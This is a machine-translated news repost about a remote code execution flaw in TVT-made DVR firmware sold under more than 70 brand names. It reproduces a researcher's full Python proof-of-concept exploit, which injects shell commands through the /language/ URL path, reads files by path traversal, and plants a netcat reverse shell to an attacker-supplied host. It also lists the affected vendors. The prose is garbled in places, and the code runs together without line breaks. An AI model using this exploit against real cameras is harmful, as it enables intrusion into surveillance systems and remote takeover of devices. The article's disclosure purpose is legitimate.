Black more than 70 surveillance cameras are so simple

Source: Internet
Author: User

Black more than 70 surveillance cameras are so simple

 

 

Recently, a security researcher found that surveillance cameras sold by more than 70 vendors are vulnerable to Remote Code Execution (RCE) attacks.

According to the Rotem Kemer study by security researcher, surveillance cameras sold by more than 70 vendors are vulnerable to Remote Code Execution (RCE) attacks.

The researchers noted that the products being sold by the supplier use the same firmware that is vulnerable to RCE attacks.

In the "White Label" business model, a variety of suppliers simply sell their tags on the same product, but unfortunately, they are not qualified to develop software and hardware.

This fragile firmware was developed by TVT, a Chinese manufacturer, and Kerner analyzed the cause of the easy-to-attack DVR boxes in closed-circuit television systems.

The firmware product was purchased from an Israeli company that sells closed-circuit television systems. Its Code also shows that it is a vulnerable HTTP server.

Security Vulnerabilities rely on servers to check for directories in a given language. If the folder does not exist, the software extracts a remote command to execute the open password.

The following is the explanation of the researchers:

It reads the URL if the URL contains the following content:/language/[language]/index.html.

If the directory exists, the language content between the slash is extracted and checked. If the directory does not exist, the command is executed directly.

tar –zxf /mnt/mtd/WebSites/language.tar.gz [language]/* -C /nfsdir/language

This basically gives us a chance to execute remote commands.

The following is a proof of concept code that affects the firmware vulnerability:

#!/usr/bin/python# http://www.kerneronsec.com/2016/02/remote-code-execution-in-cctv-dvrs-of.html__author__ = 'Rotem Kerner'from sys import argvimport optparsefrom urlparse import urlparsefrom re import compileimport socketimport requestsfrom requests.exceptions import ConnectionError, Timeout, ContentDecodingErrorfrom socket import timeoutdef main():    # parse command line options and atguments    optparser = optparse.OptionParser(usage="%s 
  
    [options]" % argv[0])    optparser.add_option('-c','--check',action="store_true",dest="checkvuln", default=False,                         help="Check if target is vulnerable")    optparser.add_option('-e','--exploit', action="store", type="string", dest="connback",                         help="Fire the exploit against the given target URL")    (options, args) = optparser.parse_args()    try:        target = args[0]    except IndexError:        optparser.print_help()        exit()    target_url = urlparse(target)    # validating hostname    if not target_url.hostname:        print "[X] supplied target "%s" is not a valid URL" % target        optparser.print_help()        exit()    # A little hack to handle read timeouts, since urllib2 doesnt give us this functionality.    socket.setdefaulttimeout(10)    # is -c flag on check if target url is vulnrable.    if options.checkvuln is True:        print "[!] Checking if target "%s" is vulnable..." % target_url.netloc        try:            # Write file            raw_url_request('%s://%s/language/Swedish${IFS}&&echo${IFS}1>test&&tar${IFS}/string.js'                         % (target_url.scheme, target_url.netloc))            # Read the file.            response = raw_url_request('%s:/%s/../../../../../../../mnt/mtd/test' % (target_url.scheme, target_url.netloc))            # remove it..            raw_url_request('%s://%s/language/Swedish${IFS}&&rm${IFS}test&&tar${IFS}/string.js'                         % (target_url.scheme, target_url.netloc))        except (ConnectionError, Timeout, timeout) as e:            print "[X] Unable to connect. reason: %s.  exiting..." % e.message            return        if response.text[0] != '1':             print "[X] Expected response content first char to be '1' got %s. exiting..." % response.text            return        print "[V] Target "%s" is vulnerable!" % target_url.netloc    # if -e is on then fire exploit,    if options.connback is not None:        # Validate connect-back information.        pattern = compile('(?P
   
    [a-zA-Z0-9.-]+):(?P
    
     [0-9]+)')        match = pattern.search(options.connback)        if not match:            print "[X] given connect back "%s" should be in the format for host:port" % options.connback            optparser.print_help()            exit()        # fire remote code execution!        # Three ..        try:            raw_url_request('%s://%s/language/Swedish${IFS}&&echo${IFS}nc${IFS}%s${IFS}%s${IFS}>e&&${IFS}/a'                        % (target_url.scheme, target_url.netloc, match.group('host'), match.group('port')))        # Two ...            raw_url_request('%s://%s/language/Swedish${IFS}&&echo${IFS}"-e${IFS}$SHELL${IFS}">>e&&${IFS}/a'                         % (target_url.scheme, target_url.netloc))        # One. Left off!            raw_url_request('%s://%s/language/Swedish&&$(cat${IFS}e)${IFS}&>r&&${IFS}/s'                         % (target_url.scheme, target_url.netloc))        except (ConnectionError, Timeout, timeout) as e:            print "[X] Unable to connect reason: %s.  exiting..." % e.message        print "[V] Exploit payload sent!, if nothing went wrong we should be getting a reversed remote shell at %s:%s"               % (match.group('host'), match.group('port'))# Disabling URL encode hackdef raw_url_request(url):    r = requests.Request('GET')    r.url = url    r = r.prepare()    # set url without encoding    r.url = url    s = requests.Session()    return s.send(r)if __name__ == '__main__':    main()
    
   
  
He noticed that tens of thousands of products are currently using this HTTP server. He makes such a positive judgment after querying the Shodan search engine, but there may be more products in this search engine.

The researchers said, "After quickly querying Shodan, we found that the distribution was over 30 thousand. This is a lot, but I believe it is only a small part ."

Kerner tried to report the problem to the original manufacturer TVT, but was not responded, so he decided to disclose the list of vendors selling defective firmware devices.

List:

Ademco, ATS Alarmes extends lgy and ststems, Area1Protection, Avio, Black Hawk Security, Capture,China security systemsCocktail Service, Cpsecured, cp plus, Digital Eye 'z no website, Diote Service & Consulting, DVR Kapta, ELVOX, ET Vision, Extra Eye 4 U, eyemotion, EDS, Fujitsu, full HD 1080 p, Gazer, Goldeye, Goldmaster, Grizzly, HD IViewer, Hi-View, Ipcom, IPOX, IR, ISC Illinois Security Cameras, inc. JFL Alarmes, Lince, LOT, Lux, Lynx Security, Magtec, Meriva Security, Multistar, Navaio, NoVus, Optivision, PARA Vision, Provision-ISR, Q-See, Quest Ek, Retail Solution Inc, RIT Huston. com, ROD Security cameras, Satvision, Sav Technology, Skilleye, Smarteye, Superior Electrial Systems, TechShell, TechSon shortmate, TecVoz, TeleEye, Tomura, truVue TVT Umbrella United Video Security System, inc, Universal IT Solutions, us it Express, U-Spy Store, Ventetian, V-Gurad Security, Vid8, Vtek, Vision Line, Visar, Vodotech.com, Vook, Watchman, Xrplus, Yansi, Zetec, ZoomX.

 

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.